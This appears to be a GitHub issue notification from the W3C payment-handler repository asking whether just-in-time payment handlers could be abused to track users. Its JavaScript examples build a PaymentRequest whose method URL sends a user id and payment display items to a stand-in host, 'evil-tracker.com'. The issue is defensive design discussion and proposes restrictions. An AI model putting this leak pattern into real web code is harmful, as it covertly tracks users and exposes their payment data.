[w3c/payment-handler] Could JIT be used to track users? (#334)

Given:
 
```JS
const methodData = [
  {
    supportedMethods: "https://evil-tracker.com/?userid=123",
  },
];
const details = {
  total: {
    label: "Total due",
    amount: { currency: "USD", value: "0.0" },
  },
};
new PaymentRequest(methodData, details);
```

This means that one can do:

```JS
const methodData = [
 // Leak stuff... not a real payment handler
 {
    supportedMethods: `https://evil-tracker.com/?userid=123&displayItems=${details.diplayItems}`,
  },
 {
    supportedMethods: "basic-card"
 }
];
```

I wonder if for URL based payment method identifiers we should allow any URL structure, but only allow HEAD requests to `new URL(./well-known/payment-handler.json, handlerOrigin)` with a restricted referrer policy and everything stripped? 

-- 
You are receiving this because you are subscribed to this thread.
Reply to this email directly or view it on GitHub:
https://github.com/w3c/payment-handler/issues/334